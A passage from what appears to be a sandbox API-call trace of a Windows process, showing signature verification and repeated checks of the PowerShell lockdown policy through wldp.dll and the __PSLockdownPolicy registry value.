[0090.796] WTGetSignatureInfo () returned 0x0 [0091.380] CertDuplicateCertificateContext (pCertContext=0x8c42d20) returned 0x8c42d20 [0091.415] CoTaskMemAlloc (cb=0x10) returned 0x8c89e68 [0091.416] CoTaskMemAlloc (cb=0x30) returned 0x8bf6d40 [0091.437] WinVerifyTrust () returned 0x0 [0091.467] CoTaskMemFree (pv=0x8bf6d40) [0091.467] CoTaskMemFree (pv=0x8c89e68) [0091.467] CertFreeCertificateContext (pCertContext=0x8c42d20) returned 1 [0091.467] CloseHandle (hObject=0x528) returned 1 [0091.817] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.817] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.817] CoTaskMemFree (pv=0x43be9e8) [0091.817] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.818] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.818] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.818] WldpGetLockdownPolicy () returned 0x0 [0091.818] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.818] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.818] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.818] RegCloseKey (hKey=0x528) returned 0x0 [0091.818] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.818] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.819] CoTaskMemFree (pv=0x43be9e8) [0091.819] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.819] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.819] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.819] WldpGetLockdownPolicy () returned 0x0 [0091.819] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.819] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.819] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.819] RegCloseKey (hKey=0x528) returned 0x0 [0091.820] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.820] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.820] CoTaskMemFree (pv=0x43be9e8) [0091.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.820] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.820] WldpGetLockdownPolicy () returned 0x0 [0091.820] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.820] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.821] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.821] RegCloseKey (hKey=0x528) returned 0x0 [0091.821] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.821] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.821] CoTaskMemFree (pv=0x43be9e8) [0091.821] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.821] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.821] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.821] WldpGetLockdownPolicy () returned 0x0 [0091.821] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.821] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.821] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.821] RegCloseKey (hKey=0x528) returned 0x0 [0091.822] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.822] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.822] CoTaskMemFree (pv=0x43be9e8) [0091.822] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.822] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.822] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.822] WldpGetLockdownPolicy () returned 0x0 [0091.822] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.822] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.822] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.822] RegCloseKey (hKey=0x528) returned 0x0 [0091.822] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.822] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.823] CoTaskMemFree (pv=0x43be9e8) [0091.823] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.823] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.823] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.823] WldpGetLockdownPolicy () returned 0x0 [0091.823] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.823] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.823] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.824] RegCloseKey (hKey=0x528) returned 0x0 [0091.824] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.824] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.824] CoTaskMemFree (pv=0x43be9e8) [0091.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.824] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.824] WldpGetLockdownPolicy () returned 0x0 [0091.824] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.824] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.824] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.825] RegCloseKey (hKey=0x528) returned 0x0 [0091.825] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.825] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.825] CoTaskMemFree (pv=0x43be9e8) [0091.825] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.825] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.825] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.825] WldpGetLockdownPolicy () returned 0x0 [0091.825] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.825] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.825] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.825] RegCloseKey (hKey=0x528) returned 0x0 [0091.884] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.884] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.885] CoTaskMemFree (pv=0x43be9e8) [0091.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.885] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.885] WldpGetLockdownPolicy () returned 0x0 [0091.885] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.885] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.885] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.885] RegCloseKey (hKey=0x528) returned 0x0 [0091.886] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.886] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.886] CoTaskMemFree (pv=0x43be9e8) [0091.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.886] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.886] WldpGetLockdownPolicy () returned 0x0 [0091.886] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.886] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.886] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.886] RegCloseKey (hKey=0x528) returned 0x0 [0091.886] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.886] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.887] CoTaskMemFree (pv=0x43be9e8) [0091.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.887] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.887] WldpGetLockdownPolicy () returned 0x0 [0091.887] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.887] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.887] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) 